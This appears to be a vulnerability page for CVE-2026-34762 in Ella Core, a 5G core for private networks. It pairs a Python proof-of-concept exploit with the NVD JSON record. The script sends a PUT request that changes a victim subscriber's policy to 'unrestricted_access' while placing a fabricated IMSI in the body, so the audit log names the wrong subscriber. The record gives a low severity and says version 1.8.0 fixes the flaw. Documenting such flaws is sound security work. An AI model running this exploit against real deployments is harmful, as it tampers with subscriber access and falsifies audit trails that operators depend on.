CVE-2026-34762

import requests # Target configuration target_url = "http://ella-core-instance/api/v1/subscriber/460019999999999" # Victim's IMSI auth_token = "Bearer <NetworkManager_Valid_Token>" # Headers headers = { "Authorization": auth_token, "Content-Type": "application/json" } # Payload containing a mismatched IMSI (Attacker's or Fabricated) payload = { "imsi": "999990000000000", # This IMSI will be logged in audit trail "policy": "unrestricted_access" } # Send the PUT request # The server updates the policy for the Victim's IMSI in the URL # but logs the IMSI from the payload response = requests.put(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Policy modified and audit log likely fabricated.") else: print("[-] Exploit failed.") print(response.text)

{"cve": {"id": "CVE-2026-34762", "sourceIdentifier": "[email protected]", "published": "2026-04-02T20:16:25.947", "lastModified": "2026-04-07T16:51:09.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ella Core is a 5G core designed for private networks. Prior to version 1.8.0, the PUT /api/v1/subscriber/{imsi} API accepts an IMSI identifier from both the URL path and the JSON request body but never verifies they match. This allows an authenticated NetworkManager to modify any subscriber's policy while the audit trail records a fabricated or unrelated subscriber IMSI. This issue has been patched in version 1.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.0", "matchCriteriaId": "F79EF764-4DAE-481E-9B49-974F342B1860"}]}]}], "references": [{"url": "https://github.com/ellanetworks/core/releases/tag/v1.8.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ellanetworks/core/security/advisories/GHSA-xw45-cc32-442f", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}